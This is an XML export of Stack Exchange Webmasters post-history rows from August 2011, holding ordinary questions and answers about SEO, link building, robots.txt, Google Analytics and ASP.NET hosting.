  <row Id="45394" PostHistoryTypeId="2" PostId="18632" RevisionGUID="925afa3e-b1f4-47a1-90d9-f35d4101e570" CreationDate="2011-08-23T06:39:57.653" UserId="9751" UserDisplayName="Jonathan Andersson" Text="I just put an google plusone button on my site. If I `+1` the page and then go to my google+ account and look at my `+1`'s it shows up, but it has no picture.&#xD;&#xA;&#xD;&#xA;So my question, are there any tips to get `+1` do display the information I want it to display, especially my logo?&#xD;&#xA;" />
  <row Id="45395" PostHistoryTypeId="1" PostId="18632" RevisionGUID="925afa3e-b1f4-47a1-90d9-f35d4101e570" CreationDate="2011-08-23T06:39:57.653" UserId="9751" UserDisplayName="Jonathan Andersson" Text="How can I get plusone to display my images?" />
  <row Id="45396" PostHistoryTypeId="3" PostId="18632" RevisionGUID="925afa3e-b1f4-47a1-90d9-f35d4101e570" CreationDate="2011-08-23T06:39:57.653" UserId="9751" UserDisplayName="Jonathan Andersson" Text="&lt;google-plus-one&gt;" />
  <row Id="45397" PostHistoryTypeId="25" PostId="18631" RevisionGUID="28691a1a-6444-4bfd-ba88-13d2419c7004" CreationDate="2011-08-23T09:35:07.587" Comment="http://twitter.com/#!/StackWebmasters/status/105936094687797248" />
  <row Id="45398" PostHistoryTypeId="2" PostId="18634" RevisionGUID="9d6bf674-6cc9-47af-b28d-d9ec3df3f865" CreationDate="2011-08-23T10:03:56.583" UserId="4306" Text="Probably a temporary issue. If your sitemap has been crawled correctly, your site still appears for a `site:` search *and* a keyword search, there is nothing to worry about.&#xD;&#xA;&#xD;&#xA;There are many reason why there could be a discrepancy between the results from day to day. A few of theme are listed here on the Google Webmaster Central help forums:&#xD;&#xA;&#xD;&#xA;* http://www.google.com/support/forum/p/Webmasters/thread?tid=12785ecb88b7436d&amp;hl=en" />
  <row Id="45400" PostHistoryTypeId="2" PostId="18636" RevisionGUID="91359c03-0cee-473e-ad22-1ae85bb5baa8" CreationDate="2011-08-23T10:53:28.770" UserId="7198" Text="&quot;5 URLs in web index&quot; means that, of all of the pages in your current sitemap, only five of them appear in Google's index. This could be for a number of reasons:&#xD;&#xA;&#xD;&#xA;- You only have 5 URLs in your current sitemap. (If this is the case, '5 URLs in web index' is exactly what Webmaster Tools should be reporting.)&#xD;&#xA;&#xD;&#xA;- Some pages appear in your sitemap that Google hasn't crawled yet. **Solution:** wait.&#xD;&#xA;&#xD;&#xA;- Some pages appear in your sitemap that Google considers duplicate content. **Solution:** Check and fix duplicate content problems using a [duplicate content tool](http://www.virante.com/seo-tools/duplicate-content). Check for duplicate page titles and descriptions in Webmaster Tools (under Diagnostics &gt; HTML Suggestions). Check that all files which paginate, categorise, or present archives of content use the [canonical](http://googlewebmastercentral.blogspot.com/2009/02/specify-your-canonical.html) tag.&#xD;&#xA;&#xD;&#xA;- Some pages appear in your sitemap as `www.yoursite.com/page`, but you're redirecting content to `yoursite.com/page` and dropping the www (or vice-versa). Google won't consider those pages to be in its web index because it sees URLs with 'www' as different from those without, even if the page itself is identical. [[source]](http://www.google.com/support/forum/p/Webmasters/thread?tid=7f41d905dbf7f7e2&amp;hl=en&amp;start=40). **Solution:** If you're redirecting pages and stripping the 'www', make sure the pages are displayed without 'www' in your sitemap (and vice-versa).&#xD;&#xA;&#xD;&#xA;- Google can't crawl your sitemap or pages. **Solution:** Check and fix crawl errors (under Diagnostics &gt; Crawl errors).&#xD;&#xA;&#xD;&#xA;- Google Webmaster Tools are having a bad day. ([It happens.](http://www.google.com/search?q=&quot;urls+in+web+index&quot;+0)) **Solution:** wait.&#xD;&#xA;&#xD;&#xA;The fact that the reported 'URLs in web index' figure dropped from 600 to 5 doesn't point to any one of these in particular, in my view, so it's worth running through all of them.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="45401" PostHistoryTypeId="2" PostId="18637" RevisionGUID="811ec543-bce8-4066-be20-f216b1654fc0" CreationDate="2011-08-23T10:58:23.580" UserId="9746" Text="I found this the other day which seemed blinding for a free tool although I haven't had any time to install and get to grips with;&#xD;&#xA;&#xD;&#xA;http://www.link-assistant.com/website-auditor/features.html" />
  <row Id="45402" PostHistoryTypeId="2" PostId="18638" RevisionGUID="f33c3a0f-4edd-4a7e-bb1c-930fc9ebc352" CreationDate="2011-08-23T11:23:39.733" UserId="9245" Text="Is there a way to have a windows xp running in the cloud and install software on it that more people in the organization can use? This in order to reduce the money spent on licenses for more developers" />
  <row Id="45403" PostHistoryTypeId="1" PostId="18638" RevisionGUID="f33c3a0f-4edd-4a7e-bb1c-930fc9ebc352" CreationDate="2011-08-23T11:23:39.733" UserId="9245" Text="instal software on the cloud" />
  <row Id="45404" PostHistoryTypeId="3" PostId="18638" RevisionGUID="f33c3a0f-4edd-4a7e-bb1c-930fc9ebc352" CreationDate="2011-08-23T11:23:39.733" UserId="9245" Text="&lt;cloud&gt;" />
  <row Id="45406" PostHistoryTypeId="2" PostId="18639" RevisionGUID="bc5f37af-91c4-49dd-82f3-632c338258f4" CreationDate="2011-08-23T11:52:54.710" UserId="9747" Text="I have an ASP.Net 4.0 website hosted at winhost.com. &#xD;&#xA;&#xD;&#xA;The default document is index.html. In the browser address bar, if I enter&#xD;&#xA;&#xD;&#xA;http://www.mysite.com/index.html&#xD;&#xA;&#xD;&#xA;it works fine - I get the index.html page as desired.&#xD;&#xA;&#xD;&#xA;If, however, I simply enter http://www.mysite.com&#xD;&#xA;&#xD;&#xA;the site behaves as if I have requested a page allowed only to authenticated users, that is, I am automatically redirected to the Login.aspx page.&#xD;&#xA;&#xD;&#xA;Obviously this is a major panic! It means that the normal, public facing portion of the site is no longer visible unless visitors are instructed to include &quot;index.html&quot;.&#xD;&#xA;&#xD;&#xA;In IIS, I have verified that the &quot;Default Document&quot; is index.html, and it is first in the list.&#xD;&#xA;&#xD;&#xA;In the web.config, I tried adding &#xD;&#xA;&#xD;&#xA;    &lt;location path=&quot;index.html&quot;&gt;&#xD;&#xA;        &lt;system.web&gt;&#xD;&#xA;            &lt;authorization&gt;&#xD;&#xA;                &lt;allow users=&quot;?&quot; /&gt;&#xD;&#xA;            &lt;/authorization&gt;&#xD;&#xA;        &lt;/system.web&gt;&#xD;&#xA;    &lt;/location&gt;&#xD;&#xA;&#xD;&#xA;But that did not help.&#xD;&#xA;&#xD;&#xA;This all happened when I converted the site from 2.0 to 4.0. I was so busy fixing all the other problems (ajax security, wrong versions of dlls, etc.) that I never noticed this problem. Seems like it should be simple to fix, but I am stumped. Thanks for any help!" />
  <row Id="45407" PostHistoryTypeId="1" PostId="18639" RevisionGUID="bc5f37af-91c4-49dd-82f3-632c338258f4" CreationDate="2011-08-23T11:52:54.710" UserId="9747" Text="Website default document denied by security restrictions?" />
  <row Id="45408" PostHistoryTypeId="3" PostId="18639" RevisionGUID="bc5f37af-91c4-49dd-82f3-632c338258f4" CreationDate="2011-08-23T11:52:54.710" UserId="9747" Text="&lt;web-hosting&gt;&lt;security&gt;&lt;asp.net&gt;" />
  <row Id="45409" PostHistoryTypeId="4" PostId="18638" RevisionGUID="9f5e4af7-4a94-4191-aafa-5e4eced2bf24" CreationDate="2011-08-23T12:00:35.970" UserId="108" Comment="edited title" Text="Install software in the cloud" />
  <row Id="45410" PostHistoryTypeId="2" PostId="18640" RevisionGUID="67fe42f6-e24e-44a9-9007-0561a4f5cddc" CreationDate="2011-08-23T12:09:49.573" UserId="108" Text="While you can install Windows and other software in the cloud depending on what cloud service you use, you will need people to access the server that your software is on to use it.  &#xD;&#xA;&#xD;&#xA;In order to install software on a cloud or remote computer and give access to multiple developers, you will need to install multiple copies of Windows and multiple copies of the Developer Software, which defeats the purpose.  Otherwise, you will have multiple developers accessing one machines remotely which is no where near an ideal solution and probably won't even work like you want.  The only time this would make any sense, is if you have developers who have 0 overlap in work time.  Then you could have them use the same software.&#xD;&#xA;&#xD;&#xA;Remember, if software costs money, then the people selling will probably not want to have a situation where someone can do an end run around their licensing scheme in order to save large quantities of money.&#xD;&#xA;&#xD;&#xA;Another option is to look at what software you plan on using.  Many software IDEs are free and work well, like Eclipse.  Other like Visual Studio, cost a decent amount of money but there are cost effective solutions for them as well.  Specifically, MSDN licensing, which seems expensive at first but you get a large amount of software, including multiple versions of Windows and the cost drops off significantly after the first year." />
  <row Id="45411" PostHistoryTypeId="17" PostId="18641" RevisionGUID="46e83dd9-b327-4df6-8326-b6335ba2d9fc" CreationDate="2011-08-23T12:12:32.913" UserId="-1" Comment="from http://stackoverflow.com/questions/7155392/google-analitycs-says-source-is-search-engine-100" Text="" />
  <row Id="45412" PostHistoryTypeId="2" PostId="18641" RevisionGUID="2c12c351-aece-406c-9185-eeb6b2654a37" CreationDate="2011-08-23T01:30:18.843" UserDisplayName="Angel Estrada" Text="I have a problem with my google analytics code, 'cause it says since 2 months that all traffic of my websites is directly from search engine, i'm really sure that must be a mistake 'cause i have made some email marketing and landing page campaing that could help to create referal traffic, maybe somethink goes wrong with the new version of the analytics or i forgot some settings. please any help is aceptable" />
  <row Id="45413" PostHistoryTypeId="1" PostId="18641" RevisionGUID="2c12c351-aece-406c-9185-eeb6b2654a37" CreationDate="2011-08-23T01:30:18.843" UserDisplayName="Angel Estrada" Text="Google Analitycs says source is Search Engine (100%)" />
  <row Id="45414" PostHistoryTypeId="3" PostId="18641" RevisionGUID="2c12c351-aece-406c-9185-eeb6b2654a37" CreationDate="2011-08-23T01:30:18.843" UserDisplayName="Angel Estrada" Text="&lt;optimization&gt;&lt;google-analytics&gt;" />
  <row Id="45415" PostHistoryTypeId="2" PostId="18642" RevisionGUID="fec3e20f-5efb-4232-9502-1fdc003470e0" CreationDate="2011-08-23T12:12:41.880" UserId="108" Text="I would add a robots.txt file to all of these sites with the code below in it if you are worried about Google attempting to crawl your site:&#xD;&#xA;&#xD;&#xA;    User-agent: *&#xD;&#xA;    Disallow: /&#xD;&#xA;&#xD;&#xA;Remember, Google needs to know your site exists before they will even scan it.  So if you haven't created any links to the site or a Google Webmaster/Google Analytics account for the site yet, Google probably won't know about it.  In addition, Google should not penalize you for having an empty site once you do have a site.  That is a normal state for many domains before they are setup." />
  <row Id="45416" PostHistoryTypeId="25" PostId="18639" RevisionGUID="254e6f40-7d13-4111-a097-29827e3284af" CreationDate="2011-08-23T12:35:08.703" Comment="http://twitter.com/#!/StackWebmasters/status/105981396669038594" />
  <row Id="45417" PostHistoryTypeId="2" PostId="18643" RevisionGUID="0d933bec-c61e-40f9-876f-d7769ac42548" CreationDate="2011-08-23T13:24:44.007" UserId="8009" Text="Question in the title.&#xD;&#xA;&#xD;&#xA;I'm at the stage where I'm trying to promote an online store I'm in the process of launching at the company I work for. I've done most of the initial legwork - domain, server, software, products, on-page seo, etc. All that's left now is to promote, promote, promote.&#xD;&#xA;&#xD;&#xA;I (like many others) would like most of our traffic to come from organic searches because it's both free and passive in many respects (yes, my time isn't free and so on, but lets assume it is for now) so it's a question of ranking well for what I think (based on my keyword research) the terms are that people search for where our site would be the most appropriate. As I said before, all on-page SEO is taken care of, meaning broadly speaking, how well we rank for said terms is down to how many links (or rather, 'how many links of a good quality') I can get pointing to my site and products with appropriate anchor text over our competitors (competitiors being not necessarily other online stores, but sites that rank well for those terms regardless of their purpose).&#xD;&#xA;&#xD;&#xA;I'm not new to the concepts of SEO, I understand the majority of concepts (it's actually quite simple, though most 'SEO' firms insist it isn't and will throw ridiculous terminology into the mix to boost their 'professional image') and whilst I understand everything, I just can't phathom why anyone would seek to try and build links manually. Link building entales essentially pestering webmasters to link to your site in question, when it's probably the last thing they care about doing for that particular day. Sure there are rare occassions when the site your building links for is genuinely relevant and interesting to the webmaster you're approaching for a link, but in some industries - especially the more 'niche' industries, these kinds of sites are far and few between.&#xD;&#xA;&#xD;&#xA;Rather than simply requesting links, many articles now go into the psychology of essentially manipulating people (webmasters, yes, they're people) into linking to their site under the pretences of a false relationship/friendship (sure, you can say it's genuine all you like but you would never have contacted them if you weren't after a link) and spending time on said relationship to the stage where they might link to you... once.&#xD;&#xA;&#xD;&#xA;Manual link building seems (well, IS) a very long-winded process with what is essentially very little reward when you consider that you won't continue to gain links if you stop. Major search engines use link counts as an organic method of determining which sites are relevant to what search terms and how they should rank and by building links, you are technically devaluing their efforts to evaluate your site. Surely by this measure, link-building isn't a white-hat process?&#xD;&#xA;&#xD;&#xA;I believe the smarter approach (if you were going to approach the webmaster of a site whose audience may find your site interesting and request they link to it) would be simply to send an email with a link asking them to take a look... then if they genuinely found it interesting they might link to it.... and I fear I may have just contradicted myself with my earlier psychology approach.&#xD;&#xA;&#xD;&#xA;Should 'link-building' as an activity consist of creating link-worthy exceptional content that is likely to accrue links naturally with age as opposed to the headless-chicken/goose-chase approach many SEO firms seem to undertake?&#xD;&#xA;&#xD;&#xA;tl:dr;&#xD;&#xA;&#xD;&#xA;Link-building is the process of manually building links in any way possible to basically show the site in question as having more of a value to search engines than it did previously via naturally gained links, therefore it's surely a black-hat process?" />
  <row Id="45418" PostHistoryTypeId="1" PostId="18643" RevisionGUID="0d933bec-c61e-40f9-876f-d7769ac42548" CreationDate="2011-08-23T13:24:44.007" UserId="8009" Text="Is 'link building' a white-hat SEO activity?" />
  <row Id="45419" PostHistoryTypeId="3" PostId="18643" RevisionGUID="0d933bec-c61e-40f9-876f-d7769ac42548" CreationDate="2011-08-23T13:24:44.007" UserId="8009" Text="&lt;seo&gt;&lt;search-engines&gt;&lt;links&gt;&lt;backlinks&gt;" />
  <row Id="45420" PostHistoryTypeId="2" PostId="18644" RevisionGUID="0708225c-1d89-4b61-9efd-0e56382e0c09" CreationDate="2011-08-23T13:27:47.703" UserId="1089" Text="If you have access to them, check your server logs. [Heres a question about apache log analyzer software][1] which could help you  on your way. This will help verify if google analytics is doing something wrong.&#xD;&#xA;&#xD;&#xA;I've personally got real doubts with the effectiveness of &quot;cold calling&quot; email marketing. I don't think I've ever tried a website for the first time as a result of an email. &#xD;&#xA;&#xD;&#xA;In terms of the sites I help look after, the newer sites are close to 95% search engine driven, the longer the domain has been around the lower this number drops. Even with 6 year old domains its still &gt; 70%&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://webmasters.stackexchange.com/questions/4852/what-is-the-best-apache-logs-analyzer" />
  <row Id="45421" PostHistoryTypeId="5" PostId="15885" RevisionGUID="15b9dc38-1d18-43f8-a678-6678da095e3a" CreationDate="2011-08-23T13:33:38.037" UserId="231" Comment="added 8 characters in body" Text="Yes, because it's a reserved character.&#xD;&#xA;&#xD;&#xA;&gt; **Other reserved characters**&#xD;&#xA;&#xD;&#xA;&gt; The asterisk (&quot;*&quot;, ASCII 2A hex) and exclamation mark (&quot;!&quot; , ASCII 21 hex) are reserved for use as having special significance within specific schemes.&#xD;&#xA;&#xD;&#xA;From here: http://www.w3.org/Addressing/URL/4_URI_Recommentations.html&#xD;&#xA;&#xD;&#xA;EDIT:&#xD;&#xA;&#xD;&#xA;&gt; Section 2, on characters, has been rewritten to explain what characters are reserved, when they are reserved, and why they are reserved, even when they are not used as delimiters by the generic syntax. **The mark characters that are typically unsafe to decode, including the exclamation mark (&quot;!&quot;), asterisk (&quot;*&quot;), single-quote (&quot;'&quot;), and open and close parentheses (&quot;(&quot; and &quot;)&quot;), have been moved to the reserved set in order to clarify the distinction between reserved and unreserved and, hopefully, to answer the most common question of scheme designers.**&#xD;&#xA;&#xD;&#xA;From here: http://labs.apache.org/webarch/uri/rfc/rfc3986.html#modifications" />
  <row Id="45422" PostHistoryTypeId="17" PostId="18645" RevisionGUID="6df8d1aa-b10c-41a5-afa0-6ca69963beb2" CreationDate="2011-08-23T13:33:50.223" UserId="-1" Comment="from http://webapps.stackexchange.com/questions/18353/what-is-the-best-open-source-e-commerce-application-for-services" Text="" />
  <row Id="45423" PostHistoryTypeId="2" PostId="18645" RevisionGUID="3d4bab2f-6117-40df-a612-a914865a3bf9" CreationDate="2011-08-23T12:47:14.987" UserId="9969" UserDisplayName="Debiprasad" Text="Normally e-commerce applications are designed for selling products. But I want to setup a website with an open source e-commerce application to sell services, instead products. Which is the most suitable open source e-commerce application to sell services instead of products?" />
  <row Id="45424" PostHistoryTypeId="1" PostId="18645" RevisionGUID="3d4bab2f-6117-40df-a612-a914865a3bf9" CreationDate="2011-08-23T12:47:14.987" UserId="9969" UserDisplayName="Debiprasad" Text="What is the best open source e-commerce application for services?" />
  <row Id="45425" PostHistoryTypeId="3" PostId="18645" RevisionGUID="3d4bab2f-6117-40df-a612-a914865a3bf9" CreationDate="2011-08-23T12:47:14.987" UserId="9969" UserDisplayName="Debiprasad" Text="&lt;open-source&gt;&lt;cms&gt;&lt;ecommerce&gt;" />
  <row Id="45426" PostHistoryTypeId="2" PostId="18646" RevisionGUID="d30a43ca-edbc-4fb7-93d5-d3feceff6147" CreationDate="2011-08-23T13:34:33.420" UserId="1253" Text="Link building is not black hat SEO unless you are artificially creating links to your we pages (i.e. link farms). But asking other websites to link to you is perfectly fine. After all, you can ask for a link but it doesn't mean you're going to get it. &#xD;&#xA;&#xD;&#xA;The reason why it is perfectly fine is, like you said, it is all about quality links. Not coincidentally, the higher the quality the link the more difficult it will be to get that link. So getting low quality links will be easier to do and you may get lots of them, but because their quality is so low you won't see much of an improvement in your rankings if you even see any at all. The quality links, the ones that make a real difference in your rankings, are difficult to get because not only are their fewer of them, but they tend to have quality site on their website and won't link to a poor website as it will reflect poorly on them. That's why they are so valuable. Not only are the pages the link will be on  high quality but it forces the page being linked to to be high quality as well. (A good rule of thumb is: the easier it is to get a link, the lower quality of the link).&#xD;&#xA;&#xD;&#xA;You mentioned using high quality content to naturally attract high quality links. That's exactly how you should approach it. Pandering for low quality links has a poor ROI. Writing quality content and letting the links &quot;come to you&quot; is the better long term strategy." />
  <row Id="45427" PostHistoryTypeId="6" PostId="18645" RevisionGUID="335a425e-d978-4267-b41d-1eea4a0abb2b" CreationDate="2011-08-23T13:36:41.767" UserId="1253" Comment="modified tags" Text="&lt;cms&gt;&lt;looking-for-a-script&gt;&lt;ecommerce&gt;&lt;open-source&gt;" />
  <row Id="45428" PostHistoryTypeId="5" PostId="18646" RevisionGUID="3e030cb1-ce05-4427-87fe-1b4095d5dfd3" CreationDate="2011-08-23T13:40:47.020" UserId="1253" Comment="added 10 characters in body" Text="Link building is not black hat SEO unless you are artificially creating links to your we pages (i.e. link farms). But asking other websites to link to you is perfectly fine. After all, you can ask for a link but it doesn't mean you're going to get it. &#xD;&#xA;&#xD;&#xA;The reason why it is perfectly fine is, like you said, it is all about quality links. Not coincidentally, the higher the quality the link the more difficult it will be to get that link. So getting low quality links will be easier to do and you may get lots of them, but because their quality is so low you won't see much of an improvement in your rankings if you even see any at all. The quality links, the ones that make a real difference in your rankings, are difficult to get because not only are their fewer of them available, but they tend to have quality content on their website and won't link to a poor website as it will reflect poorly on them. That's why they are so valuable. Not only are the pages the link will be on  high quality but it forces the page being linked to to be high quality as well. (A good rule of thumb is: the easier it is to get a link, the lower quality of the link).&#xD;&#xA;&#xD;&#xA;You mentioned using high quality content to naturally attract high quality links. That's exactly how you should approach it. Pandering for low quality links has a poor ROI. Writing quality content and letting the links &quot;come to you&quot; is the better long term strategy." />
  <row Id="45429" PostHistoryTypeId="2" PostId="18647" RevisionGUID="a24d66b5-e0a2-4638-8d6d-466e90f589f6" CreationDate="2011-08-23T13:54:11.653" UserId="8354" Text="I see few possible approaches (in descending order):&#xD;&#xA;&#xD;&#xA;1. Just restrict access by IP: only allow certain IPs or subnets (in case your IP is dynamic) to access the site and block all other requests - the most reliable approach.&#xD;&#xA;&#xD;&#xA;2. Display empty page or some &quot;Coming Soon&quot; text (or just nice big image and no text at all) and use subdomain to access your current live site (for example: `beta.example.com`). Unfortunately it is not that reliable as blocking by IP as search engine still may detect the subdomain or discover a link to it (Google Desktop search, links in emails sent to `@gmail.com` address, someone publishes a link somewhere and it was indexed etc).&#xD;&#xA;&#xD;&#xA;3. Use `robots.txt` -- this will work fine with bots that respect it, but offer no &quot;protection&quot; otherwise. If your only concern is Google/Bing etc then it should work fine.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="45430" PostHistoryTypeId="5" PostId="18643" RevisionGUID="4ccc9ec3-29f2-43ff-b1cb-ed2b25c72966" CreationDate="2011-08-23T14:48:52.797" UserId="4306" Comment="Edited for clarity" Text="Question in the title.&#xD;&#xA;&#xD;&#xA;tl;dr&#xD;&#xA;&#xD;&#xA;Link-building is the process of manually building links in any way possible to show the site in question as having more of a value to search engines than it did previously. Therefore it's surely a black-hat SEO activity?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;I'm at the stage where I'm trying to promote an online store I'm in the process of launching at the company I work for. I've done most of the initial legwork - domain, server, software, products, on-page seo, etc. All that's left now is to promote, promote, promote.&#xD;&#xA;&#xD;&#xA;I (like many others) would like most of our traffic to come from organic searches because it's both free and passive in many respects (yes, my time isn't free and so on, but lets assume it is for now) so it's a question of ranking well for what I think (based on my keyword research) the terms are that people search for where our site would be the most appropriate. As I said before, all on-page SEO is taken care of, meaning broadly speaking, how well we rank for said terms is down to how many links (or rather, 'how many links of a good quality') I can get pointing to my site and products with appropriate anchor text over our competitors (competitiors being not necessarily other online stores, but sites that rank well for those terms regardless of their purpose).&#xD;&#xA;&#xD;&#xA;I'm not new to the concepts of SEO, I understand the majority of concepts (it's actually quite simple, though most 'SEO' firms insist it isn't and will throw ridiculous terminology into the mix to boost their 'professional image') and whilst I understand everything, I just can't phathom why anyone would seek to try and build links manually. Link building entales essentially pestering webmasters to link to your site in question, when it's probably the last thing they care about doing for that particular day. Sure there are rare occassions when the site your building links for is genuinely relevant and interesting to the webmaster you're approaching for a link, but in some industries - especially the more 'niche' industries, these kinds of sites are far and few between.&#xD;&#xA;&#xD;&#xA;Rather than simply requesting links, many articles now go into the psychology of essentially manipulating people (webmasters, yes, they're people) into linking to their site under the pretences of a false relationship/friendship (sure, you can say it's genuine all you like but you would never have contacted them if you weren't after a link) and spending time on said relationship to the stage where they might link to you... once.&#xD;&#xA;&#xD;&#xA;Manual link building seems (well, IS) a very long-winded process with what is essentially very little reward when you consider that you won't continue to gain links if you stop. Major search engines use link counts as an organic method of determining which sites are relevant to what search terms and how they should rank and by building links, you are technically devaluing their efforts to evaluate your site. Surely by this measure, link-building isn't a white-hat process?&#xD;&#xA;&#xD;&#xA;I believe the smarter approach (if you were going to approach the webmaster of a site whose audience may find your site interesting and request they link to it) would be simply to send an email with a link asking them to take a look... then if they genuinely found it interesting they might link to it.... and I fear I may have just contradicted myself with my earlier psychology approach.&#xD;&#xA;&#xD;&#xA;Should 'link-building' as an activity consist of creating link-worthy exceptional content that is likely to accrue links naturally with age as opposed to the headless-chicken/goose-chase approach many SEO firms seem to undertake?" />
  <row Id="45431" PostHistoryTypeId="24" PostId="18643" RevisionGUID="4ccc9ec3-29f2-43ff-b1cb-ed2b25c72966" CreationDate="2011-08-23T14:48:52.797" Comment="Proposed by 4306 approved by -1 edit id of 499" />
  <row Id="45432" PostHistoryTypeId="5" PostId="18643" RevisionGUID="a8f5fcb3-5adc-4268-8f70-c0b4e3bb6647" CreationDate="2011-08-23T14:48:53.060" UserId="108" Comment="Edited for clarity" Text="Link-building is the process of manually building links in any way possible to show the site in question as having more of a value to search engines than it did previously. Therefore it's surely a black-hat SEO activity?&#xD;&#xA;&#xD;&#xA;---&#xD;&#xA;&#xD;&#xA;I'm at the stage where I'm trying to promote an online store I'm in the process of launching at the company I work for. I've done most of the initial legwork - domain, server, software, products, on-page seo, etc. All that's left now is to promote, promote, promote.&#xD;&#xA;&#xD;&#xA;I (like many others) would like most of our traffic to come from organic searches because it's both free and passive in many respects (yes, my time isn't free and so on, but lets assume it is for now) so it's a question of ranking well for what I think (based on my keyword research) the terms are that people search for where our site would be the most appropriate. As I said before, all on-page SEO is taken care of, meaning broadly speaking, how well we rank for said terms is down to how many links (or rather, 'how many links of a good quality') I can get pointing to my site and products with appropriate anchor text over our competitors (competitiors being not necessarily other online stores, but sites that rank well for those terms regardless of their purpose).&#xD;&#xA;&#xD;&#xA;I'm not new to the concepts of SEO, I understand the majority of concepts (it's actually quite simple, though most 'SEO' firms insist it isn't and will throw ridiculous terminology into the mix to boost their 'professional image') and whilst I understand everything, I just can't phathom why anyone would seek to try and build links manually. Link building entales essentially pestering webmasters to link to your site in question, when it's probably the last thing they care about doing for that particular day. Sure there are rare occassions when the site your building links for is genuinely relevant and interesting to the webmaster you're approaching for a link, but in some industries - especially the more 'niche' industries, these kinds of sites are far and few between.&#xD;&#xA;&#xD;&#xA;Rather than simply requesting links, many articles now go into the psychology of essentially manipulating people (webmasters, yes, they're people) into linking to their site under the pretences of a false relationship/friendship (sure, you can say it's genuine all you like but you would never have contacted them if you weren't after a link) and spending time on said relationship to the stage where they might link to you... once.&#xD;&#xA;&#xD;&#xA;Manual link building seems (well, IS) a very long-winded process with what is essentially very little reward when you consider that you won't continue to gain links if you stop. Major search engines use link counts as an organic method of determining which sites are relevant to what search terms and how they should rank and by building links, you are technically devaluing their efforts to evaluate your site. Surely by this measure, link-building isn't a white-hat process?&#xD;&#xA;&#xD;&#xA;I believe the smarter approach (if you were going to approach the webmaster of a site whose audience may find your site interesting and request they link to it) would be simply to send an email with a link asking them to take a look... then if they genuinely found it interesting they might link to it.... and I fear I may have just contradicted myself with my earlier psychology approach.&#xD;&#xA;&#xD;&#xA;Should 'link-building' as an activity consist of creating link-worthy exceptional content that is likely to accrue links naturally with age as opposed to the headless-chicken/goose-chase approach many SEO firms seem to undertake?" />
  <row Id="45433" PostHistoryTypeId="2" PostId="18648" RevisionGUID="38ad8643-903f-46e6-a4a2-5e573dff3227" CreationDate="2011-08-23T15:25:54.090" UserId="6370" Text="Use robots.txt to disallow as RandomBen suggests. Search engines crawlers may not come back very often if it finds all your content is disallowed.&#xD;&#xA;&#xD;&#xA;However, once your site is up and ready, change your robots.txt and resubmit to Google (from webmaster tools), Bing, etc.&#xD;&#xA;&#xD;&#xA;There should be no penalty and when you resubmit your new robots.txt the search engines will begin to crawl and index your site properly.&#xD;&#xA;" />
  <row Id="45434" PostHistoryTypeId="25" PostId="18643" RevisionGUID="ef890add-0bef-40ec-b4be-ff8c2a617b4a" CreationDate="2011-08-23T15:35:08.677" Comment="http://twitter.com/#!/StackWebmasters/status/106026694778953730" />
  <row Id="45437" PostHistoryTypeId="2" PostId="18650" RevisionGUID="73020739-43e7-4c34-b3f4-7d23d1069a94" CreationDate="2011-08-23T16:50:32.003" UserId="6370" Text="Before submitting for reconsideration, ensure that your site meets Google's guidelines : http://www.google.com/support/webmasters/bin/answer.py?answer=35769&#xD;&#xA;&#xD;&#xA;Check as well that your robots.txt isn't blocking Google from properly crawling (and thus indexing) your site.&#xD;&#xA;&#xD;&#xA;" />
  <row Id="45438" PostHistoryTypeId="2" PostId="18651" RevisionGUID="a2e1a0bc-f708-4224-a565-8df54cdd3259" CreationDate="2011-08-23T18:02:42.307" UserId="6231" Text="After migrating my website (based on Drupal CMS) to WebHosting, I noticed that my pages aren't searchable by Google. It finds nothing, even though it should clearly find my website. Same thing happens when I want to know the ranking of my website.&#xD;&#xA;&#xD;&#xA;Do you know where the fault could be?&#xD;&#xA;&#xD;&#xA;thank you" />
  <row Id="45439" PostHistoryTypeId="1" PostId="18651" RevisionGUID="a2e1a0bc-f708-4224-a565-8df54cdd3259" CreationDate="2011-08-23T18:02:42.307" UserId="6231" Text="Pages are not searchable by Google" />
  <row Id="45440" PostHistoryTypeId="3" PostId="18651" RevisionGUID="a2e1a0bc-f708-4224-a565-8df54cdd3259" CreationDate="2011-08-23T18:02:42.307" UserId="6231" Text="&lt;seo&gt;&lt;google&gt;&lt;web-hosting&gt;" />
  <row Id="45441" PostHistoryTypeId="5" PostId="18651" RevisionGUID="ec73a909-1f86-4f58-bce5-3acaff500390" CreationDate="2011-08-23T18:07:52.563" UserId="1253" Comment="modified tags, minor text edits" Text="After migrating my website (based on Drupal CMS) to WebHosting, I noticed that my pages aren't searchable by Google. It finds nothing, even though it should clearly find my website. Same thing happens when I want to know the ranking of my website.&#xD;&#xA;&#xD;&#xA;Do you know where the fault could be?&#xD;&#xA;" />
  <row Id="45442" PostHistoryTypeId="6" PostId="18651" RevisionGUID="ec73a909-1f86-4f58-bce5-3acaff500390" CreationDate="2011-08-23T18:07:52.563" UserId="1253" Comment="modified tags, minor text edits" Text="&lt;seo&gt;&lt;google&gt;" />
  <row Id="45443" PostHistoryTypeId="2" PostId="18652" RevisionGUID="76e78ac5-33d1-4e5f-aa68-0bc991413fd7" CreationDate="2011-08-23T18:14:06.570" UserId="9753" Text="does anyone know how I would setup a goal based on eCommerce orders and if they were from a specific source (e.g. Facebook)? Is this possible? Also is it possible to setup reports for traffic from specific sources? (e.g. Twitter, Facebook)?" />
  <row Id="45444" PostHistoryTypeId="1" PostId="18652" RevisionGUID="76e78ac5-33d1-4e5f-aa68-0bc991413fd7" CreationDate="2011-08-23T18:14:06.570" UserId="9753" Text="How to setup Google Analytics eCommerce goals based on referral?" />
  <row Id="45445" PostHistoryTypeId="3" PostId="18652" RevisionGUID="76e78ac5-33d1-4e5f-aa68-0bc991413fd7" CreationDate="2011-08-23T18:14:06.570" UserId="9753" Text="&lt;google&gt;&lt;analytics&gt;&lt;statistics&gt;" />
